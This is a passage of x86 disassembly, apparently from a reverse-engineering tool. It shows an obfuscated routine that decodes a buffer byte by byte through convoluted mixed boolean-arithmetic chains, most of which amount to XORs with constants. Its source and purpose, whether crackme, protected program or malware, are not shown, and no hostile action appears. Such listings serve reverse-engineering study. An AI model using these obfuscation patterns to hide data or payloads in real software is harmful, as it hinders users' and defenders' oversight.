mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0x79
xor dl, 0xff
and al, 0x79
or dl, al
mov byte [0x47b2de], dl
mov al, byte [0x47b0df]
mov cl, al
xor cl, 0xff
and cl, 0x97
and al, 0x68
or cl, al
mov byte [0x47b2df], cl
mov al, byte [0x47b0e0]
mov cl, al
xor cl, 0xce
xor cl, 0xff
and cl, 0xce
shl cl, 1
sub cl, 0xce
sub al, cl
mov byte [0x47b2e0], al
mov al, byte [0x47b0e1]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xeb
and al, 0xeb
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b2e1], dl
mov dl, byte [str.Q___v]
mov ah, dl
or ah, ah
xor ah, 0xff
mov al, dl
or al, al
xor al, 0xff
or ah, al
xor ah, 0xff
xor ah, 0xff
mov al, ah
or al, 0x65
xor al, 0xff
or ah, 0x65
xor ah, 0xff
or al, ah
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0x65
xor ah, 0xff
xor ah, 0xff
xor al, 0xff
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
and al, ah
mov byte [0x47b2e2], al
mov al, byte [0x47b0e3]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xf7
add dl, cl
shl dl, 1
sub al, 9
sub al, dl
mov byte [0x47b2e3], al
mov cl, byte [0x47b0e4]
mov al, cl
xor al, 0xff
and al, 0x8d
and cl, 0x72
and al, al
xor al, 0xff
and cl, cl
xor cl, 0xff
and al, cl
xor al, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xc5
and al, 0x3a
or cl, al
xor cl, 0x24
mov byte [0x47b2e4], cl
mov al, byte [0x47b0e5]
xor al, 0x8c
mov byte [0x47b2e5], al
mov al, byte [0x47b0e6]
xor al, 0xfa
mov byte [0x47b2e6], al
mov bl, byte [0x47b0e7]
mov al, bl
xor al, 0x71
xor al, 0xff
and al, 0x71
shl al, 1
sub al, 0x71
mov dl, bl
sub dl, al
xor dl, 0xff
and dl, 0x71
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x71
sub bl, al
mov byte [0x47b2e7], bl
mov al, byte [0x47b0e8]
mov cl, al
xor cl, 0x73
xor cl, 0xff
and cl, 0x73
shl cl, 1
sub cl, 0x73
sub al, cl
mov byte [0x47b2e8], al
mov al, byte [0x47b0e9]
mov cl, al
xor cl, 0xff
and cl, 0x86
and al, 0x79
or cl, al
mov byte [0x47b2e9], cl
mov al, byte [0x47b0ea]
mov cl, al
xor cl, 0x14
xor cl, 0xff
and cl, 0x14
shl cl, 1
sub cl, 0x14
sub al, cl
mov byte [0x47b2ea], al
mov al, byte [0x47b0eb]
mov cl, al
xor cl, 0xff
and cl, 0x36
and al, 0xc9
or cl, al
mov byte [0x47b2eb], cl
mov dl, byte [0x47b0ec]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0x9e
mov cl, dl
xor cl, 0x61
xor cl, 0xff
or dl, 0x61
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov cl, al
and cl, 0x4d
shl cl, 1
add al, 0x4d
sub al, cl
mov byte [0x47b2ec], al
mov dl, byte [0x47b0ed]
mov dh, dl
xor dh, 0xff
mov al, dh
xor al, 0xa5
xor al, 0xff
or dh, 0xa5
and dh, al
and dl, 0x5a
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0xff
mov al, ah
and al, 0x62
and dh, 0x9d
mov cl, bl
and cl, 0x62
and dl, 0x9d
or al, dh
or cl, dl
xor al, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or al, ah
mov cl, al
xor cl, 0xff
and cl, 0x36
and al, 0xc9
or cl, al
xor cl, 0xfe
mov byte [0x47b2ed], cl
mov al, byte [0x47b0ee]
xor al, 0x92
mov byte [0x47b2ee], al
mov ah, byte [0x47b0ef]
mov dh, ah
xor dh, 0xff
and dh, 0xa0
and ah, 0x5f
mov dl, dh
xor dl, 0xff
mov bl, ah
xor bl, 0xff
mov al, dl
and al, 0x3e
and dh, 0xc1
mov cl, bl
and cl, 0x3e
and ah, 0xc1
or al, dh
or cl, ah
xor al, cl
or dl, bl
xor dl, 0xff
and dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0xed
and al, 0x12
or cl, al
mov byte [0x47b2ef], cl
mov al, byte [0x47b0f0]
mov cl, al
xor cl, 0x87
xor cl, 0xff
and cl, 0x87
shl cl, 1
sub cl, 0x87
sub al, cl
mov byte [0x47b2f0], al
mov al, byte [0x47b0f1]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x19
or al, 0x19
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xf5
and dl, 0xa
or cl, dl
xor cl, 0xa
xor al, 0xff
and cl, al
mov byte [0x47b2f1], cl
mov al, byte [0x47b0f2]
mov cl, al
and cl, 0x54
shl cl, 1
sub al, 0xac
sub al, cl
mov byte [0x47b2f2], al
mov dl, byte [0x47b0f3]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0x40
xor dl, 0xff
mov cl, dl
and cl, 0x40
mov ah, dl
xor ah, 0xbf
add dl, ah
sub dl, cl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x47b2f3], al
mov bl, byte [0x47b0f4]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0xd2
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xd2
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x47b2f4], bl
mov al, byte [0x47b0f5]
xor al, 0xe1
mov byte [0x47b2f5], al
mov al, byte [0x47b0f6]
xor al, 0x9d
mov byte [0x47b2f6], al
mov dl, byte [0x47b0f7]
mov al, dl
xor al, 0xff
or al, 0x95
add al, 0x6b
mov cl, dl
xor cl, 0x95
xor cl, 0xff
or dl, 0x95
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0xf8
mov byte [0x47b2f7], al
mov al, byte [0x47b0f8]
xor al, 0x3c
mov byte [0x47b2f8], al
mov al, byte [0x47b0f9]
mov cl, al
xor cl, 0x26
xor cl, 0xff
and cl, 0x26
shl cl, 1
sub cl, 0x26
mov ah, al
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0x26
shl dl, 1
sub dl, 0x26
sub al, dl
mov byte [0x47b2f9], al
mov al, byte [0x47b0fa]
xor al, 0xd4
mov byte [0x47b2fa], al
mov al, byte [0x47b0fb]
mov cl, al
xor cl, 0x82
xor cl, 0xff
and cl, 0x82
shl cl, 1
sub cl, 0x82
sub al, cl
mov byte [0x47b2fb], al
mov al, byte [0x47b0fc]
xor al, 0xd7
mov byte [str.o_bB_], al
mov al, byte [str.2_]
xor al, 0x87
mov byte [0x47b2fd], al
mov al, byte [0x47b0fe]
xor al, 0xe8
mov byte [0x47b2fe], al
mov al, byte [0x47b0ff]
mov cl, al
and cl, 0xfb
shl cl, 1
add al, 0xfb
sub al, cl
mov byte [0x47b2ff], al
mov bl, byte [0x47b100]
mov dl, bl
xor dl, 0xb7
and dl, bl
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x48
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x47b300], bl
mov al, byte [0x47b101]
xor al, 0x13
mov byte [0x47b301], al
mov bl, byte [0x47b102]
mov dl, bl
and dl, 0x20
xor dl, 0xff
mov al, bl
and al, 0x20
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x20
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x47b302], bl
mov al, byte [0x47b103]
xor al, 0xc0
mov byte [0x47b303], al
mov al, byte [0x47b104]
mov cl, al
xor cl, 0xff
and cl, 0x12
and al, 0xed
or cl, al
mov byte [0x47b304], cl
mov al, byte [0x47b105]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
mov cl, al
and cl, cl
xor cl, 0xff
and ah, cl
xor ah, 0xff
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
xor cl, 0xc1
xor cl, 0xff
or dl, 0xc1
and dl, cl
or al, 0xc1
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [str.SX], dl
mov dl, byte [0x47b106]
mov dh, dl
xor dh, 0xff
mov bl, dl
xor bl, 0xff
and bl, 0xa0
mov al, dl
and al, 0x5f
or bl, al
xor bl, 0x5f
mov ah, dh
xor ah, 0xff
mov bh, bl
xor bh, 0xff
mov al, ah
and al, 0xbb
and dh, 0x44
mov cl, bh
and cl, 0xbb
and bl, 0x44
or al, dh
or cl, bl
xor al, cl
or ah, bh
xor ah, 0xff
and ah, 0xff
or al, ah
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov cl, al
and cl, 0x6c
mov ah, al
xor ah, 0x93
add al, ah
sub al, cl
mov ah, dl
xor ah, 0xff
and ah, 0x30
and dl, 0xcf
or ah, dl
xor ah, 0xcf
mov dl, ah
xor dl, 0xff
and dl, 0x93
xor ah, 0xff
and ah, 0x93
xor dl, 0xff
xor ah, 0xff
and dl, ah
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor dl, 0xff
or al, dl
mov byte [0x47b306], al
mov al, byte [0x47b107]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x24
xor dl, 0xff
and al, 0xdb
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b307], dl
mov al, byte [0x47b108]
xor al, 0xf1
mov byte [0x47b308], al
mov al, byte [0x47b109]
mov cl, al
and cl, 0xae
shl cl, 1
mov dl, al
and dl, 0xae
or al, 0xae
add dl, al
sub dl, cl
mov byte [0x47b309], dl
mov al, byte [0x47b10a]
xor al, 0x92
mov byte [0x47b30a], al
mov al, byte [0x47b10b]
mov cl, al
xor cl, 0xff
and cl, 1
and al, 0xfe
or cl, al
mov al, cl
and al, 0x88
shl al, 1
add cl, 0x88
sub cl, al
mov byte [0x47b30b], cl
mov bl, byte [0x47b10c]
mov dl, bl
and dl, 0xf6
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0xf6
or bl, 0xf6
add cl, bl
xor edx, edx
sub dl, al
add cl, dl
mov byte [str.4_8r], cl
mov bl, byte [0x47b10d]
mov dl, bl
xor dl, 0xff
and dl, 0x99
mov al, bl
and al, 0x66
or dl, al
xor dl, 0xff
xor dl, 0xff
or dl, 0x66
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x5b
sub al, 0x99
sub al, 0x5b
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x47b30d], bl
mov al, byte [0x47b10e]
mov cl, al
xor cl, 0xa9
xor cl, 0xff
and cl, 0xa9
shl cl, 1
sub cl, 0xa9
sub al, cl
mov byte [0x47b30e], al
mov dl, byte [0x47b10f]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 0xc9
xor al, 0xff
and cl, 0xc9
xor cl, 0xff
and al, cl
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x36
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov cl, al
xor cl, 0x3d
xor cl, 0xff
and cl, 0x3d
shl cl, 1
sub cl, 0x3d
sub al, cl
mov byte [0x47b30f], al
mov al, byte [0x47b110]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x71
and al, 0x71
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b310], dl
mov al, byte [0x47b111]
mov cl, al
xor cl, 0xff
and cl, 0x7a
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x85
or cl, al
mov byte [0x47b311], cl
mov al, byte [0x47b112]
xor al, 0xe8
mov byte [0x47b312], al
mov al, byte [0x47b113]
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x47b313], al
mov al, byte [0x47b114]
mov cl, al
and cl, 0x48
shl cl, 1
add al, 0x48
sub al, cl
mov byte [0x47b314], al
mov al, byte [0x47b115]
xor al, 0x60
mov byte [0x47b315], al
mov al, byte [0x47b116]
xor al, 0x2f
mov byte [0x47b316], al
mov al, byte [0x47b117]
xor al, 0xf4
mov byte [0x47b317], al
mov bl, byte [0x47b118]
mov al, bl
xor al, 0x98
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0x67
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x3d
sub al, 0x98
add al, 0x3d
sub bl, al
mov byte [0x47b318], bl
mov al, byte [0x47b119]
xor al, 0xde
mov byte [0x47b319], al
mov al, byte [0x47b11a]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0xcb
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x34
add al, cl
or dl, al
xor dl, 0x8f
mov byte [0x47b31a], dl
mov al, byte [0x47b11b]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xc9
or al, 0xc9
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b31b], dl
mov al, byte [0x47b11c]
xor al, 0x68
mov byte [0x47b31c], al
mov al, byte [0x47b11d]
xor al, 0xfb
mov byte [0x47b31d], al
mov al, byte [0x47b11e]
mov cl, al
and cl, 0x94
shl cl, 1
add al, 0x94
sub al, cl
mov byte [0x47b31e], al
mov al, byte [0x47b11f]
xor al, 4
mov byte [0x47b31f], al
mov al, byte [0x47b120]
xor al, 0xcc
mov byte [0x47b320], al
mov al, byte [0x47b121]
xor al, 0x5a
mov byte [0x47b321], al
mov al, byte [0x47b122]
xor al, 0xb
mov byte [0x47b322], al
mov al, byte [0x47b123]
xor al, 0x66
mov byte [0x47b323], al
mov al, byte [0x47b124]
xor al, 0xc3
mov byte [0x47b324], al
mov al, byte [0x47b125]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0xc4
xor dl, 0xff
and al, 0xc4
or dl, al
mov byte [0x47b325], dl
mov al, byte [0x47b126]
xor al, 2
mov byte [0x47b326], al
mov al, byte [0x47b127]
xor al, 0x7d
mov byte [0x47b327], al
mov al, byte [0x47b128]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x84
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x84
xor dl, 0xff
xor al, 0xff
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
mov byte [0x47b328], cl
mov al, byte [0x47b129]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov dh, al
xor dh, 0xff
mov cl, al
xor cl, 0xff
or dh, cl
xor dh, 0xff
or dh, 0
and dh, 0xff
xor dh, 0xff
mov ah, dl
and ah, dh
xor dl, dh
or ah, dl
xor ah, 0xff
or ah, 0xcf
xor al, 0xff
or al, 0x30
xor ah, 0xff
xor al, 0xff
or ah, al
mov byte [0x47b329], ah
mov al, byte [0x47b12a]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xe9
xor dl, 0xff
xor al, 0xff
and al, 0xe9
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b32a], dl
mov dl, byte [0x47b12b]
mov al, dl
xor al, 0xff
and al, 0xf3
mov cl, dl
and cl, 0xc
or al, cl
xor al, 0xc
and al, 0x3b
and dl, 0xc4
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov byte [0x47b32b], cl
mov al, byte [0x47b12c]
xor al, 0x87
mov byte [0x47b32c], al
mov al, byte [str.5_fsu_]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
or dl, cl
xor dl, 0xff
or dl, 0xb8
mov cl, al
xor cl, 0xb8
xor cl, 0xff
or al, 0xb8
and al, cl
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b32d], dl
mov bl, byte [0x47b12e]
mov dl, bl
and dl, 0xa0
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
xor edx, edx
sub dl, bl
add dl, 0x60
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x47b32e], cl
mov al, byte [0x47b12f]
xor al, 0x92
mov byte [0x47b32f], al
mov al, byte [0x47b130]
xor al, 0x26
mov byte [0x47b330], al
mov al, byte [0x47b131]
mov cl, al
and cl, 0xf3
shl cl, 1
add al, 0xf3
sub al, cl
mov byte [0x47b331], al
mov bl, byte [0x47b132]
mov al, bl
xor al, 0x3d
mov dl, al
xor dl, 0xff
and dl, 0x2e
and al, 0xd1
or dl, al
xor dl, 0xd1
or dl, 0xc2
add dl, 0x3e
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0x3d
and al, 0xc2
shl al, 1
sub al, cl
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x47b332], bl
mov al, byte [0x47b133]
xor al, 9
mov byte [0x47b333], al
mov al, byte [0x47b134]
mov cl, al
xor cl, 0xff
and cl, 1
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xfe
or cl, al
mov byte [0x47b334], cl
mov al, byte [0x47b135]
xor al, 0xae
mov byte [0x47b335], al
mov al, byte [0x47b136]
mov cl, al
and cl, 0x51
shl cl, 1
add al, 0x51
sub al, cl
mov byte [0x47b336], al
mov dl, byte [0x47b137]
mov al, dl
xor al, 0xff
and al, 0xac
mov cl, dl
and cl, 0x53
or al, cl
xor al, 0x53
xor al, 0xff
or al, 0x92
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, 0x6d
and cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
or al, cl
xor al, 0xff
or dl, al
xor dl, 0xff
xor dl, 0x2f
mov byte [0x47b337], dl
mov al, byte [0x47b138]
mov cl, al
xor cl, 0xff
and cl, 0x1f
and al, 0xe0
or cl, al
xor cl, 0x52
mov byte [0x47b338], cl
mov al, byte [0x47b139]
xor al, 0x38
mov byte [0x47b339], al
mov bl, byte [0x47b13a]
mov al, bl
and al, 0x4f
shl al, 1
mov dl, bl
add dl, 0x4f
sub dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and dl, 0x4f
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0xb0
add al, 1
sub bl, al
mov byte [0x47b33a], bl
mov al, byte [0x47b13b]
xor al, 0x46
mov byte [0x47b33b], al
mov al, byte [0x47b13c]
mov cl, al
xor cl, 0xff
and cl, 0xdc
and al, 0x23
or cl, al
mov byte [0x47b33c], cl
mov dl, byte [0x47b13d]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x9b
xor al, 0xff
and al, 0xff
xor al, 0xff
and dl, 0x9b
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
and al, cl
xor al, 0xff
mov byte [0x47b33d], al
mov al, byte [str.MB7_I]
mov cl, al
and cl, 0x19
shl cl, 1
add al, 0x19
sub al, cl
mov byte [0x47b33e], al
mov cl, byte [0x47b13f]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xba
xor al, 0xff
xor cl, 0xff
or cl, 0xba
and al, cl
xor al, 0xff
mov byte [0x47b33f], al
mov dl, byte [0x47b140]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0x2d
or dl, 0x2d
xor dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
mov byte [0x47b340], cl
mov al, byte [0x47b141]
mov cl, al
and cl, 0xd5
shl cl, 1
add al, 0xd5
sub al, cl
mov byte [0x47b341], al
mov al, byte [0x47b142]
mov cl, al
xor cl, 0xff
and cl, 0xf7
and al, 8
or cl, al
xor cl, 0xda
mov byte [0x47b342], cl
mov bl, byte [0x47b143]
mov dl, bl
and dl, 0x23
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0xdd
sub bl, al
mov byte [0x47b343], bl
mov al, byte [0x47b144]
mov cl, al
and cl, 0x75
shl cl, 1
add al, 0x75
sub al, cl
mov byte [0x47b344], al
mov bl, byte [0x47b145]
mov dl, bl
xor dl, 0x1b
xor dl, 0xff
and dl, 0x1b
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x1b
sub bl, al
mov byte [0x47b345], bl
mov al, byte [0x47b146]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
xor dl, 0xff
xor dl, 0x25
and dl, 0x25
and al, 0xda
mov cl, dl
and cl, al
xor dl, al
or cl, dl
xor cl, 0x80
mov byte [0x47b346], cl
mov al, byte [0x47b147]
xor al, 0x63
mov byte [0x47b347], al
mov al, byte [0x47b148]
xor al, 0x58
mov byte [0x47b348], al
mov al, byte [0x47b149]
xor al, 0x3e
mov byte [0x47b349], al
mov dl, byte [0x47b14a]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, cl
and ah, al
xor ah, 0xff
add al, cl
add al, 1
add al, ah
and al, 0x4a
xor al, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xb5
add dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
and al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
mov byte [0x47b34a], cl
mov al, byte [0x47b14b]
xor al, 0x69
mov byte [0x47b34b], al
mov cl, byte [0x47b14c]
mov al, cl
xor al, 0xff
and al, 0xf5
and cl, 0xa
mov dl, al
or dl, cl
xor dl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xdf
mov byte [0x47b34c], dl
mov al, byte [0x47b14d]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x3b
and al, 0x3b
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [str._fdo], dl
mov al, byte [0x47b14e]
mov cl, al
xor cl, 0x66
xor cl, 0xff
and cl, 0x66
shl cl, 1
sub cl, 0x66
sub al, cl
mov byte [0x47b34e], al
mov al, byte [str.lW1Ef_]
mov cl, al
and cl, 0xa3
shl cl, 1
mov dl, al
add dl, 0xa3
sub dl, cl
xor dl, 0xff
and dl, 0xa3
shl dl, 1
add dl, 0xbd
sub dl, 0xa3
sub dl, 0xbd
sub al, dl
mov byte [0x47b34f], al
mov al, byte [0x47b150]
mov dl, al
xor dl, 0xff
and dl, 0x23
and al, 0xdc
and dl, dl
xor dl, 0xff
and al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b350], dl
mov al, byte [0x47b151]
mov cl, al
xor cl, 0xb3
xor cl, 0xff
and cl, 0xb3
shl cl, 1
sub cl, 0xb3
sub al, cl
mov byte [0x47b351], al
mov al, byte [0x47b152]
xor al, 3
mov byte [0x47b352], al
mov al, byte [0x47b153]
xor al, 0x28
mov byte [0x47b353], al
mov dl, byte [0x47b154]
mov al, dl
xor al, 0xff
and al, 0xad
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x52
add dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0x95
mov byte [0x47b354], al
mov dl, byte [0x47b155]
mov al, dl
or al, al
xor al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor al, 0xff
or al, 0x69
xor al, 0xff
and al, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0x76
and dl, 0x89
or ah, dl
xor ah, 0x89
mov dl, ah
and dl, 0x69
xor dl, 0xff
and ah, 0x69
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
xor al, 0xff
mov byte [0x47b355], al
mov al, byte [0x47b156]
xor al, 0x1b
mov byte [0x47b356], al
mov al, byte [0x47b157]
mov cl, al
and cl, 0x7a
shl cl, 1
add al, 0x3e
add al, 0x7a
sub al, 0x3e
add al, 0xdf
sub al, cl
sub al, 0xdf
mov byte [0x47b357], al
mov al, byte [0x47b158]
xor al, 0xd3
mov byte [0x47b358], al
mov al, byte [0x47b159]
mov cl, al
xor cl, 0xff
and cl, 0x42
and al, 0xbd
or cl, al
mov byte [0x47b359], cl
mov bl, byte [0x47b15a]
mov dl, bl
xor dl, 0x19
xor dl, 0xff
and dl, 0x19
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0x19
and al, 0xe6
shl al, 1
sub al, cl
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x47b35a], bl
mov al, byte [0x47b15b]
xor al, 0xd7
mov byte [0x47b35b], al
mov al, byte [0x47b15c]
xor al, 0xc7
mov byte [0x47b35c], al
mov al, byte [0x47b15d]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x1c
xor dl, 0xff
or al, 0xe3
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b35d], dl
mov al, byte [0x47b15e]
xor al, 0x68
mov byte [0x47b35e], al
mov al, byte [0x47b15f]
mov cl, al
and cl, 0xa4
shl cl, 1
add al, 0xa4
sub al, cl
mov byte [0x47b35f], al
mov al, byte [0x47b160]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x27
or al, 0x27
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b360], dl
mov al, byte [0x47b161]
mov cl, al
xor cl, 0xff
and cl, 0xdb
mov dl, al
add dl, 1
xor al, 0xff
or al, 0x24
add al, dl
or cl, al
mov byte [0x47b361], cl
mov al, byte [0x47b162]
mov dl, al
xor dl, 0xff
and dl, 0xd7
mov cl, al
and cl, 0x28
or dl, cl
xor dl, 0xb1
xor dl, 0xff
